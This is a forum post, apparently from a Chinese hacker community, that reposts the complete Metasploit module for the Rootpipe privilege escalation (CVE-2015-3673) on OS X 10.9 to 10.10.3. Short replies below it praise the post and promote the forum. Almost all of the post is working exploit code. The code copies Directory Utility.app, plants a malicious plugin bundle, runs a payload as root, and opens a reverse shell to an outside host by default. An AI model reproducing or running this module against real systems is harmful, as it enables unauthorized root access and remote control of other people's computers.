Apple OS X Entitlements Rootpipe Privilege Escalation Exploit

90_

CVE-2015-3673

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##
# This module requires Metasploit: [url]http://metasploit.com/download[/url]
# Current source: [url]https://github.com/rapid7/metasploit-framework[/url]
##
 
require 'msf/core'
 
class Metasploit4 < Msf::Exploit::Local
 
  Rank = GreatRanking
 
  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apple OS X Entitlements Rootpipe Privilege Escalation',
      'Description'    => %q{
        This module exploits the rootpipe vulnerability and bypasses Apple's initial
        fix for the issue by injecting code into a process with the 'admin.writeconfig'
        entitlement.
      },
      'Author'         => [
        'Emil Kvarnhammar', # Vulnerability discovery and PoC
        'joev'              # Copy/paste monkey
      ],
      'References'     => [
        ['CVE',   '2015-3673'],
        ['URL',   'https://truesecdev.wordpress.com/2015/07/01/exploiting-rootpipe-again/']
      ],
      'DisclosureDate' => 'Jul 1 2015',
      'License'        => MSF_LICENSE,
      'Platform'       => 'osx',
      'Arch'           => ARCH_X86_64,
      'SessionTypes'   => ['shell'],
      'Privileged'     => true,
      'Targets'        => [
        ['Mac OS X 10.9-10.10.3', {}]
      ],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {
        'PAYLOAD'         => 'osx/x64/shell_reverse_tcp',
        'PrependSetreuid' => true
      }
    ))
 
    register_options([
      OptString.new('WRITABLEDIR', [true, 'Writable directory', '/.Trashes'])
    ])
  end
 
  def check
    if ver? && admin?
      vprint_status("Version is between 10.9 and 10.10.3, and is admin.")
      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end
 
  def exploit
    print_status("Copying Directory Utility.app to #{new_app}")
    cmd_exec("cp -R '/System/Library/CoreServices/Applications/Directory Utility.app' '#{new_app}'")
    cmd_exec("mkdir -p '#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS'")
 
    print_status("Writing bundle plist to `#{plist_file}'")
    write_file(plist_file, plist)
 
    print_status("Writing payload to `#{payload_file}'")
    write_file(payload_file, binary_payload)
    register_file_for_cleanup(payload_file)
 
    print_status("Writing malicious shared library to `#{exploit_file}'")
    write_file(exploit_file, plugin_exploit)
 
    print_status("Running Directory Utility.app")
    cmd_exec("/bin/sh -c 'PAYLOAD_IN="+payload_file+" PAYLOAD_OUT="+root_file+" #{new_app}/Contents/MacOS/Directory\\ Utility'")
 
    print_status("Deleting Directory Utility.app")
    cmd_exec('rm -Rf "#{new_app}"')
 
    print_status('Executing payload...')
    cmd_exec("/bin/sh -c '#{root_file} &'")
  end
 
  def ver?
    Gem::Version.new(get_sysinfo['ProductVersion']).between?(
      Gem::Version.new('10.9'), Gem::Version.new('10.10.3')
    )
  end
 
  def admin?
    cmd_exec('groups | grep -wq admin && echo true') == 'true'
  end
 
  def sploit
    "#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
  end
 
  def plugin_exploit
    File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'CVE-2015-3673', 'exploit.daplug'
    ))
  end
 
  def binary_payload
    Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
  end
 
  def exploit_file
    "#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS/RootpipeBundle"
  end
 
  def plist_file
    "#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/Info.plist"
  end
 
  def new_app
    @app ||= "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}.app"
  end
 
  def plist
    %Q|
      <?xml version="1.0" encoding="UTF-8"?>
      <plist version="1.0">
      <dict>
        <key>CFBundleGetInfoString</key>
        <string>RootpipeBundle</string>
        <key>CFBundleExecutable</key>
        <string>RootpipeBundle</string>
        <key>CFBundleIdentifier</key>
        <string>com.root.pipe</string>
        <key>CFBundleName</key>
        <string>RootpipeBundle</string>
        <key>CFBundleShortVersionString</key>
        <string>0.01</string>
        <key>CFBundleInfoDictionaryVersion</key>
        <string>6.0</string>
        <key>CFBundlePackageType</key>
        <string>APPL</string>
        <key>IFMajorVersion</key>
        <integer>0</integer>
        <key>IFMinorVersion</key>
        <integer>1</integer>
      </dict>
      </plist>
    |
  end
 
  def payload_file
    @payload_file ||=
      "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}"
  end
 
  def root_file
    @root_file ||=
      "#{datastore['WRITABLEDIR']}/#{Rex::Text.rand_text_alpha(8)}"
  end
end

Sty，涛

还是不错的哦，顶了

xiaoqqf4

支持中国红客联盟(ihonker.org)

ljy07

还是不错的哦，顶了

borall

wanmznh

支持，看起来不错呢！

云游者

支持，看起来不错呢！

小龙

CHRIS

还是不错的哦，顶了

xiaoqqf4